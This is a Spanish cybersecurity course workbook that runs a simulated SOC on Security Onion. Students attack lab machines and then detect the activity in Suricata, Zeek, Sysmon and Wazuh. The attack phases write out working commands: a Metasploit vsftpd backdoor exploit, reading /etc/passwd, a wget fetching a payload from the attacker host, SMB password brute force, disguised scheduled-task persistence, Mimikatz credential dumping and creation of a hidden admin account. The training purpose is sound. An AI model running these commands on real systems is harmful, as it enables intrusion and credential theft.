CERTIFICADO DE PROFESIONALIDAD

IFCT0109 | Seguridad Informática en Redes de Datos

CUADERNO DE PRÁCTICAS

Detección de Amenazas con Security Onion

Análisis de Red y Endpoint • Threat Hunting • Simulación SOC

Módulo Formativo **MF0488_3 · MF0487_3 · MF0387_3**	Plataforma de Laboratorio **Security Onion 2.4 | soc.juanprofesor.com**
Alumno/a _____	Fecha de realización ___ / ___ / _____

Nivel de confidencialidad: USO INTERNO — MATERIAL DIDÁCTICO

Introducción y Objetivos del Cuaderno

Este cuaderno de prácticas simula el funcionamiento de un Centro de Operaciones de Seguridad (SOC) real, utilizando Security Onion 2.4 como plataforma de detección, correlación y análisis. El alumno asumirá el rol de Analista SOC de nivel 1 y 2, enfrentándose a escenarios de ataque reales ejecutados en el laboratorio virtual.

1.1 Arquitectura del Laboratorio

Infraestructura disponible

Security Onion 2.4.211 → soc.juanprofesor.com (SIEM, IDS, NSM)
Wazuh 4.14.4 → Detección en endpoint (EDR/HIDS)
OPNsense → Firewall perimetral + IDS Suricata
DC01 (Windows Server) → 10.1.99.60 — Sysmon v15.20 activo
ubuntu-moderna → 10.1.99.50 — Elastic Agent + Wazuh Agent
Kali Linux → 10.1.99.X — Máquina atacante
Metasploitable2 → 10.1.99.109 — Víctima vulnerable
Apache Guacamole → juanprofesor.com — Acceso estudiantes

1.2 Objetivos de Aprendizaje

- Identificar ataques de red en tiempo real mediante alertas IDS (Suricata/Zeek)
- Analizar tráfico PCAP asociado a incidentes de seguridad
- Correlacionar eventos de endpoint con indicadores de red (Sysmon + Elastic)
- Ejecutar un proceso completo de Threat Hunting desde hipótesis hasta confirmación
- Documentar incidentes siguiendo metodología SOC (Triage → Análisis → Respuesta)
- Priorizar alertas mediante el modelo de severidad MITRE ATT&CK

1.3 Estructura del Cuaderno

Ejercicio	Escenario	Descripción	Duración
EJ-01	Reconocimiento	Detección de escaneo Nmap en red interna	30 min
EJ-02	Explotación	Ataque Metasploit + análisis Suricata/Zeek	45 min
EJ-03	Post-explotación	Pivoting y detección de movimiento lateral	45 min
EJ-04	Endpoint	Análisis forense con Sysmon y Elastic Agent	40 min
EJ-05	Threat Hunting	Caza de amenaza APT desde hipótesis MITRE	60 min
EJ-06	Respuesta	Triaje completo e informe de incidente	30 min

IMPORTANTE — Antes de comenzar

1. Verifica acceso a Security Onion: https://soc.juanprofesor.com
2. Credenciales proporcionadas por el instructor (no compartir)
3. Todos los ataques se ejecutan EXCLUSIVAMENTE dentro del rango 10.1.99.0/24
4. Documenta CADA hallazgo en las casillas de respuesta de cada ejercicio

5. Mantén el registro de hora (UTC) de cada evento detectado

EJERCICIO 01

Reconocimiento: Detección de Escaneo de Puertos

Escenario: Reconocimiento (TA0043) → Descubrimiento de red (T1046) | **Dificultad:** Básica | Duración: 30 min

Contexto del Incidente

El sistema de monitorización ha generado alertas relacionadas con tráfico anómalo de tipo ICMP y múltiples intentos de conexión TCP desde un host interno. Tu misión como Analista SOC L1 es identificar el origen, alcance y naturaleza de este comportamiento.

Hipótesis inicial (antes de analizar)
Un actor interno o un equipo comprometido está realizando reconocimiento activo de la red.
Técnica MITRE ATT&CK sospechada: T1046 — Network Service Discovery

Fase 1 — Simulación del Ataque (rol: Atacante)

Ejecuta los siguientes comandos desde la máquina Kali Linux. Documenta el timestamp de inicio.

1.1 Escaneo ICMP (ping sweep):

```
nmap -sn 10.1.99.0/24 -oN /tmp/ping_sweep.txt
```

1.2 Escaneo SYN rápido de top 1000 puertos:

```
nmap -sS -T4 --top-ports 1000 10.1.99.109 -oN /tmp/scan_meta.txt
```

1.3 Escaneo de versiones y scripts en servicios detectados:

```
nmap -sV -sC -p 21,22,80,3306,8180 10.1.99.109 -oN /tmp/scan_full.txt
```

Timestamp inicio del ataque (UTC) y resultados observados en Kali:

Fase 2 — Detección en Security Onion (rol: Analista SOC L1)

2.1 Alertas Suricata

Accede a Security Onion → Alerts. Filtra por el rango temporal del ataque.

Consulta sugerida en Kibana/Alerts
event.module: "suricata" AND rule.category: ("Attempted Information Leak" OR "Network Scan")
Ajusta el rango temporal al momento del escaneo.

Timestamp	IP Origen	IP Destino	SID Suricata	Descripción alerta

2.2 Análisis de Tráfico con Zeek

Accede a Security Onion → Hunt o Kibana → Index: so-zeek*

Consulta para identificar el escaneo en los logs conn.log de Zeek:

```
event.dataset: "zeek.conn" AND source.ip: "10.1.99.X" AND destination.port: *
```

Consulta para identificar el número de puertos únicos contactados por IP:

```
event.dataset: zeek.conn | stats count() by source.ip, destination.ip,
destination.port | sort -count
```

¿Cuántos puertos únicos se detectaron? ¿Qué duración total tuvo el escaneo según Zeek?

2.3 Análisis de PCAP

Desde Security Onion, accede a Kibana → So-Packets o usa la opción 'PCAP' en un alert para abrir Wireshark/NetworkMiner.

Filtra el tráfico del escaneo:

```
tcp.flags.syn==1 && tcp.flags.ack==0 && ip.src==10.1.99.X
```

¿Qué patrón distingue un SYN scan de una conexión legítima? Describe lo observado en el PCAP:

Fase 3 — Clasificación del Incidente

Campo	Rellenar por el analista
Táctica MITRE ATT&CK	
Técnica MITRE (T-XXXX)	

Campo	Rellenar por el analista
Severidad (Baja/Media/Alta/Crítica)	
IP atacante confirmada	
Objetivo del ataque	
¿Se detectó en tiempo real? (S/N)	
Acción de respuesta recomendada	

Criterio de evaluación EJ-01

SUPERADO: Identificas al menos 3 alertas Suricata + confirmas IP atacante + clasificas MITRE correctamente.

PARCIAL: Identificas las alertas pero no correlacionas con el PCAP.

INSUFICIENTE: No localizas el evento en Security Onion.

EJERCICIO 02

Explotación: Ataque Metasploit y Análisis de Payload

Escenario: Explotación (TA0002) → Exploit público (T1203) → Acceso inicial (TA0001) | **Dificultad:** Media | Duración: 45 min

Contexto del Incidente

El SOC recibe una alerta de prioridad ALTA. El IDS ha detectado tráfico compatible con la explotación del servicio vsftpd 2.3.4 en Metasploitable2 (10.1.99.109). Este servicio contiene una backdoor conocida (CVE-2011-2523). El equipo de L2 te asigna el análisis.

Fase 1 — Simulación del Ataque (rol: Atacante)

Ejecuta el exploit desde Kali Linux usando Metasploit Framework:

```
msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.1.99.109
set RPORT 21
run
```

Una vez obtenida la shell, ejecuta los siguientes comandos para generar telemetría adicional:

```
id && whoami && hostname
cat /etc/passwd
wget http://10.1.99.X/malware_test.sh -O /tmp/payload.sh
```

¿Obtuviste shell? ¿Qué usuario? Anota el timestamp exacto (UTC):

Fase 2 — Detección en Security Onion

2.1 Análisis de Alertas IDS — Suricata

Accede a Security Onion → Alerts. Busca las alertas relacionadas con vsftpd y la conexión al puerto 6200 (backdoor).

Reglas Suricata que deberían activarse

ET EXPLOIT vsFTPd 2.3.4 Backdoor Command Execution
GPL ATTACK_RESPONSE id check returned root
ET POLICY Outbound wget detected (si se descargó payload)

Timestamp	SID / Nombre Regla	IP Origen	IP Dest.	Puerto	Severidad
	vsftpd backdoor	10.1.99.X	10.1.99.109	21/6200	

Timestamp	SID / Nombre Regla	IP Origen	IP Dest.	Puerto	Severidad
	id check root				

2.2 Análisis de Flujos con Zeek

En Kibana, filtra los flujos de red del momento del ataque. Busca la conexión backdoor al puerto 6200:

```
event.dataset: "zeek.conn" AND destination.port: 6200
```

Analiza también los logs de Zeek FTP:

```
event.dataset: "zeek.ftp" AND source.ip: "10.1.99.X"
```

¿Qué observas en el log ftp de Zeek? ¿Se registra el comando USER :) que activa la backdoor?

2.3 Análisis PCAP del Exploit

Extrae el PCAP del incidente desde Security Onion. Abre con Wireshark y aplica el filtro:

```
tcp.port == 6200 || tcp.port == 21
```

Sigue el TCP stream de la conexión al puerto 6200 (backdoor shell):
Wireshark → clic derecho en paquete → Follow → TCP Stream

¿Qué comandos ejecutó el atacante en la shell? ¿Se visualizan en claro en el PCAP?

2.4 Correlación con Línea Temporal

Hora (UTC)	Evento	Fuente de detección
	Inicio conexión FTP	Zeek ftp.log / Suricata
	Activación backdoor :)	Suricata — ET EXPLOIT
	Conexión puerto 6200	Zeek conn.log / PCAP
	Ejecución 'id/whoami'	Zeek / PCAP plaintext
	Descarga wget	Suricata ET POLICY

Fase 3 — Escalado a L2 (Análisis Profundo)

El Analista L2 debe responder:

- ¿Existe algún patrón de persistencia? (¿modificó /etc/crontab, /etc/rc.local?)
- ¿Se produjo movimiento lateral desde 10.1.99.109 hacia otros hosts?
- ¿El tráfico de descarga (wget) apunta a un C2 conocido?

Hallazgos del Análisis L2:

Criterio de evaluación EJ-02

SUPERADO: Identificas el exploit, el puerto backdoor, y lees los comandos en el PCAP.
PARCIAL: Detectas las alertas IDS pero no analizas el PCAP.
INSUFICIENTE: No correlacionas el alert con el flujo de red.

EJERCICIO 03

Post-explotación: Movimiento Lateral y Persistencia

Escenario: Movimiento Lateral (TA0008) → Pass the Hash / SMB (T1021.002) → Persistencia (TA0003) | **Dificultad:** Media-Alta | Duración: 45 min

Contexto del Incidente

Con acceso a Metasploitable2, el atacante intenta moverse lateralmente hacia el controlador de dominio DC01 (10.1.99.60). Se genera tráfico SMB anómalo. El SOC debe detectar este patrón antes de que el atacante establezca persistencia.

Fase 1 — Simulación del Ataque

1.1 Desde la sesión en Metasploitable, realizar escaneo SMB hacia DC01:

```
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 10.1.99.60
run
```

1.2 Intento de autenticación con credenciales por defecto:

```
use auxiliary/scanner/smb/smb_login
set RHOSTS 10.1.99.60
set SMBUser administrator
set PASS_FILE /usr/share/wordlists/rockyou.txt
run
```

1.3 Creación de tarea programada para persistencia (si acceso conseguido):

```
schtasks /create /tn "WindowsUpdate" /tr "cmd.exe /c whoami > C:\temp\out.txt" /sc
minute /mo 5
```

Resultados observados desde la perspectiva del atacante:

Fase 2 — Detección SOC: Análisis de Red

2.1 Alertas SMB en Suricata

Busca en Security Onion → Alerts:

```
event.module: "suricata" AND (rule.name: *SMB* OR rule.name: *EternalBlue*)
```

2.2 Análisis de flujos SMB con Zeek

```
event.dataset: "zeek.smb*" AND source.ip: "10.1.99.109"
```

Identifica en zeek.smb_cmd.log los comandos SMB ejecutados y en zeek.smb_files.log los archivos accedidos.

Timestamp	IP Origen	IP Destino	Comando SMB	Archivo/Share
	10.1.99.109	10.1.99.60		

2.3 Detección de fuerza bruta con Zeek NOTICE

Zeek genera notices cuando detecta ataques de fuerza bruta. Comprueba:

```
event.dataset: "zeek.notice" AND zeek.notice.note: "SMB::*"
```

¿Cuántos intentos de autenticación fallidos detectas? ¿En qué ventana temporal?

Fase 3 — Detección en Endpoint

3.1 Eventos Sysmon en DC01 — Accesos SMB

Accede a Kibana → Index: so-wineventlog* o Wazuh Dashboard:

```
event.code: 4625 AND winlog.event_data.SubjectUserName: administrator
```

(Event ID 4625 = fallo de autenticación Windows)

```
event.code: 4624 AND winlog.event_data.LogonType: 3
```

(Event ID 4624 LogonType 3 = autenticación de red — SMB)

¿Detectas el patrón de fuerza bruta en los eventos Windows? ¿Qué Event IDs observas?

3.2 Detección de Tarea Programada (Persistencia)

```
event.code: 4698
```

(Event ID 4698 = tarea programada creada)

```
process.name: "schtasks.exe" AND process.args: *WindowsUpdate*
```

¿Se detectó la creación de la tarea programada maliciosa? ¿En qué fuente?

Criterio de evaluación EJ-03

SUPERADO: Detectas el SMB lateral + la fuerza bruta + la persistencia con tarea programada.
PARCIAL: Detectas el movimiento lateral pero no la persistencia.
INSUFICIENTE: No correlacionas alertas de red con eventos de endpoint.

EJERCICIO 04

Endpoint: Análisis Forense con Sysmon y Elastic Agent

Escenario: Ejecución (TA0002) → PowerShell (T1059.001) → Volcado de credenciales (T1003) | **Dificultad:** Media | Duración: 40 min

Contexto del Incidente

Wazuh ha disparado una alerta de nivel 12 indicando ejecución sospechosa de PowerShell en DC01. El análisis de endpoint es crítico para entender si se han comprometido credenciales del dominio Active Directory.

> **Alerta recibida del SOC Multiagente**
> TRIAGE AGENT → Severidad: CRÍTICA | Confianza: 0.94
> Técnica detectada: T1059.001 — PowerShell con parámetros ofuscados
> Host: DC01 (10.1.99.60) | Usuario: lab\administrator
> Recomendación: Escalado inmediato a L2. Investigar procesos hijos de powershell.exe

Fase 1 — Simulación (Actividad maliciosa en DC01)

Ejecuta en DC01 (PowerShell como Administrador):

1.1 PowerShell con codificación base64 (evasión de defensa):

```
powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAG4AbwB0AGUAcABhAGQA
```

1.2 Volcado de hashes NTLM (simulado, requiere privilegios):

```
powershell -c "Import-Module .\Invoke-Mimikatz.ps1; Invoke-Mimikatz -Command
'sekurlsa::logonpasswords'"
```

1.3 Creación de usuario administrador oculto:

```
net user svc_backup P@ssw0rd123! /add
net localgroup administrators svc_backup /add
```

> **Actividades ejecutadas y timestamps (UTC):**

Fase 2 — Análisis en Security Onion / Elastic

2.1 Detección de PowerShell sospechoso — Sysmon Event ID 1

En Kibana (índice so-wineventlog* o so-elastic-agent):

```
event.code: 1 AND process.name: "powershell.exe" AND process.args: *-enc*
```

Examina el campo process.command_line para ver la línea completa:

```
event.code: 1 AND process.parent.name: "powershell.exe"
```

Timestamp	Proceso	Proceso padre	Usuario	Línea de comando
	powershell.exe			-enc ...

2.2 Detección de Usuario Creado — Event ID 4720

```
event.code: 4720
```

(Evento 4720 = cuenta de usuario creada en Windows)

¿Quién creó la cuenta? ¿Cuándo? ¿Qué nombre tiene la cuenta nueva?

2.3 Árbol de Procesos (Process Tree)

Security Onion permite visualizar el árbol de procesos. En la alerta, busca la opción 'Process Tree' o usa:

```
process.entity_id: [entity_id del proceso sospechoso]
```

Dibuja a continuación el árbol de procesos observado:

Espacio para árbol de procesos (dibuja la cadena):

[Proceso padre] → [powershell.exe] → [proceso hijo]

Ejemplo: explorer.exe → cmd.exe → powershell.exe -enc ... → net.exe

Árbol de procesos real observado en el laboratorio:

2.4 Análisis de Integridad de Archivos (Wazuh FIM)

Wazuh monitoriza cambios en archivos críticos (File Integrity Monitoring). Busca en Wazuh Dashboard:

```
rule.groups: "syscheck" AND agent.name: "DC01" AND data.win.eventdata.targetFilename:
*
```

¿Qué archivos fueron creados/modificados durante el ataque? ¿En qué rutas?

Criterio de evaluación EJ-04

SUPERADO: Identificas PowerShell ofuscado + creación de usuario + árbol de procesos completo.
PARCIAL: Detectas el PowerShell pero no la persistencia (usuario oculto).
INSUFICIENTE: No localizas los eventos Sysmon en el índice correcto.

EJERCICIO 05 — THREAT HUNTING

Caza de Amenaza APT: Hipótesis MITRE ATT&CK

Metodología: TaHiTi (Target-centric Hunting) → MITRE ATT&CK Navigator | **Dificultad:** Alta | Duración: 60 min

Contexto: Inteligencia de Amenazas

El equipo de Threat Intelligence ha publicado un informe indicando que el grupo APT-SIM-LAB está atacando infraestructuras Windows con el siguiente patrón de comportamiento (TTPs):

Fase	Táctica MITRE	Técnica	Indicador observable
1	Reconocimiento	T1046 Net Scan	Múltiples SYN a puertos distintos
2	Acceso inicial	T1190 Exploit Público	Conexión a puerto no estándar post-FTP
3	Ejecución	T1059.001 PowerShell	powershell.exe con -enc o -nop -w hidden
4	Persistencia	T1053.005 Sched Task	schtasks.exe con nombres genéricos
5	Mov. Lateral	T1021.002 SMB/WMI	Autenticación red (LogonType 3) masiva
6	Exfiltración	T1048 Exfil alt. proto	DNS queries largas / ICMP túnel

Fase 1 — Formulación de Hipótesis

Antes de buscar en los datos, formula tu hipótesis de caza siguiendo el modelo TaHiTi:

Campo de la Hipótesis	Completar por el analista
¿QUÉ buscamos?	Evidencias de APT-SIM-LAB en la red 10.1.99.0/24
¿DÓNDE buscamos?	
¿QUÉ datos usamos?	
Indicador clave (IoC)	
Período de búsqueda	

Fase 2 — Búsqueda de Evidencias

HUNT 1 — PowerShell Ofuscado (T1059.001)

Ejecuta en Security Onion → Hunt o Kibana Dev Tools:

```
event.code: 1 AND process.name: "powershell.exe" AND (process.args: *-enc* OR
process.args: *-nop* OR process.args: *hidden* OR process.args: *bypass*)
```

Resultados de HUNT 1 — ¿cuántos hits? ¿Hosts afectados?

HUNT 2 — Tareas Programadas Sospechosas (T1053.005)

```
(event.code: 4698 OR process.name: "schtasks.exe") AND NOT
winlog.event_data.TaskName: ("\Microsoft\Windows\*" OR "\Adobe\*" OR "\Google\*")
```

Resultados de HUNT 2 — ¿Hay tareas programadas no estándar?

HUNT 3 — Autenticaciones de Red Masivas (T1021.002)

```
event.code: 4624 AND winlog.event_data.LogonType: 3 | stats count() by source.ip,
winlog.event_data.TargetUserName | sort -count | head 20
```

Resultados de HUNT 3 — ¿Qué IPs tienen más autenticaciones SMB? ¿Es normal?

HUNT 4 — Exfiltración por DNS (T1048)

Busca queries DNS anómalamente largas (posible tunneling):

```
event.dataset: "zeek.dns" AND dns.question.name: * | where length(dns.question.name)
> 60 | stats count() by dns.question.name, source.ip
```

Resultados de HUNT 4 — ¿Hay dominios sospechosamente largos en las queries?

Fase 3 — Confirmación y Conclusión de la Caza

Basándote en los cuatro hunts, completa la tabla de confirmación:

Hunt	Técnica MITRE	Confirmado	Host/IP afectado	Evidencia clave
H1	T1059.001 PowerShell	S / N		

Hunt	Técnica MITRE	Confirmado	Host/IP afectado	Evidencia clave
H2	T1053.005 Sched Task	S / N		
H3	T1021.002 SMB Lateral	S / N		
H4	T1048 DNS Exfil	S / N		

CONCLUSIÓN DE LA CAZA: ¿Hay evidencias de compromiso activo? ¿Cuál es la recomendación al equipo de respuesta?

Criterio de evaluación EJ-05

SUPERADO: Ejecutas los 4 hunts, confirmas al menos 3 técnicas y formulas conclusión fundamentada.

PARCIAL: Ejecutas las queries pero no interpretas los resultados correctamente.

INSUFICIENTE: No formulas hipótesis previa o no ejecutas ningún hunt.

EJERCICIO 06 — RESPUESTA AL INCIDENTE

Triaje Completo e Informe de Incidente SOC

Objetivo: Consolidar el ciclo SOC completo: Detección → Triaje → Análisis → Contención → Documentación

6.1 Línea Temporal Consolidada del Ataque

Basándote en los ejercicios 1-5, reconstruye la línea temporal completa del ataque:

Hora (UTC)	Fase ATT&CK	Técnica T-XXXX	Host afectado	Fuente detección
	Reconocimiento	T1046	10.1.99.109	Suricata/Zeek
	Acceso inicial	T1190	10.1.99.109	Suricata/PCAP
	Ejecución	T1059.001	DC01	Sysmon/Elastic
	Persistencia	T1053.005	DC01	Wazuh/WinEvent
	Mov. Lateral	T1021.002	DC01	Zeek SMB/Wazuh
	Exfiltración	T1048		Zeek DNS

6.2 Indicadores de Compromiso (IOCs)

Documenta los IOCs identificados durante todos los ejercicios:

Tipo IOC	Valor	Contexto	Confirmado
IP atacante	10.1.99.X (Kali)	Origen del escaneo	SÍ
Puerto C2	6200/TCP	Backdoor vsftpd	SÍ
Hash proceso		powershell.exe ofuscado	
Usuario creado	svc_backup	Persistencia local DC01	
Tarea prog.	WindowsUpdate (falsa)	Persistencia schtasks	
Query DNS		Posible túnel DNS	

6.3 Acciones de Contención Recomendadas

- **INMEDIATA: Aislar Metasploitable2 (10.1.99.109) de la red bloqueando en OPNsense**
- **INMEDIATA: Deshabilitar cuenta svc_backup en DC01 (si fue creada)**
- CORTO PLAZO: Eliminar tarea programada maliciosa 'WindowsUpdate'
- CORTO PLAZO: Actualizar reglas Suricata con IOCs de la campaña
- MEDIO PLAZO: Aplicar parche vsftpd o retirar servicio FTP de Metasploitable
- MEDIO PLAZO: Implementar regla Sigma para detección PowerShell ofuscado

6.4 Informe de Incidente (Borrador)

Plantilla de informe SOC — Completar

ID Incidente: INC-LAB-_____
Fecha/hora: ___/___/____ ____:____ UTC
Analista L1: _____
Analista L2: _____
Severidad: [ ] Baja [ ] Media [ ] Alta [ ] Crítica

RESUMEN EJECUTIVO:

Resumen ejecutivo (3-5 frases para dirección no técnica):

DESCRIPCIÓN TÉCNICA DEL INCIDENTE:

Descripción técnica detallada:

IMPACTO POTENCIAL:

Sistemas afectados, datos en riesgo, tiempo de exposición estimado:

6.5 Lecciones Aprendidas

Área	¿Qué funcionó bien?	¿Qué mejorar?
Detección de red (IDS)		
Detección endpoint		
Tiempo de respuesta		
Documentación		
Correlación de eventos		

Criterio de evaluación EJ-06 (EJERCICIO INTEGRADOR)

SUPERADO: Línea temporal completa + IOCs documentados + informe redactado correctamente.
PARCIAL: Línea temporal incompleta o informe sin resumen ejecutivo.
INSUFICIENTE: No integras los hallazgos de los ejercicios anteriores.

ANEXO A — Referencia Rápida del Analista SOC

A.1 Índices de Elastic en Security Onion

Índice	Contenido
so-suricata-*	Alertas IDS Suricata (campo: rule.name, event.severity)
so-zeek-*	Logs NSM Zeek (conn, dns, http, ftp, smb, notice...)
so-wineventlog-*	Eventos Windows (Sysmon + WinEvents via Elastic Agent)
so-elastic-agent-*	Telemetría Elastic Agent (DC01 + ubuntu-moderna)
so-wazuh-*	Alertas Wazuh HIDS + FIM + SCA
so-pcap-*	Metadatos de PCAP (acceso via Security Onion UI)

A.2 Event IDs de Windows más relevantes

Event ID	Descripción	Cuándo buscarlo
1 (Sysmon)	Creación de proceso	Ejecución de malware, PowerShell
3 (Sysmon)	Conexión de red	C2, mov. lateral, exfiltración
7 (Sysmon)	Carga de imagen (DLL)	DLL injection, LOLBins
11 (Sysmon)	Creación de archivo	Payload dropper, persistencia
4624 (Sec.)	Inicio de sesión exitoso	LogonType 3=red, 10=remoto
4625 (Sec.)	Fallo de inicio de sesión	Fuerza bruta, password spray
4698 (Sec.)	Tarea programada creada	Persistencia vía schtasks
4720 (Sec.)	Cuenta creada	Backdoor de usuario
7045 (Sys.)	Servicio instalado	Persistencia vía servicio

A.3 Flujo de Trabajo SOC — Ciclo de Vida del Incidente

Paso	Fase	Acción	Herramienta
1	DETECCIÓN	Revisar alertas Suricata/Wazuh	SO Alerts / Wazuh Dashboard
2	TRIAJE L1	Clasificar severidad, descartar FP	Kibana / Hunt
3	ANÁLISIS L2	Correlacionar red + endpoint + PCAP	Kibana + Wireshark
4	CONTENCIÓN	Aislar host, bloquear IP en firewall	OPNsense / Active Directory

Paso	Fase	Acción	Herramienta
5	ERRADICACIÓN	Eliminar malware, limpiar persistencia	PowerShell / AV / EDR
6	RECUPERACIÓN	Restaurar servicio, validar limpieza	SO Hunt / Wazuh FIM
7	LECCIONES	Actualizar reglas, mejorar detección	Sigma Rules / SO Tuning

A.4 URLs y Accesos del Laboratorio

Servicio	URL / Dirección	Notas
Security Onion	https://soc.juanprofesor.com	SIEM + IDS + Hunt + PCAP
Wazuh Dashboard	https://10.1.99.X:443	HIDS + FIM + Compliance
Guacamole (Acceso)	https://juanprofesor.com	Gateway RDP/SSH alumnos
DC01 (RDP)	10.1.99.60:3389	lab\administrator
Metasploitable2	10.1.99.109	Víctima — servicios vulnerables
Kali Linux	10.1.99.X	Máquina atacante (solo en lab)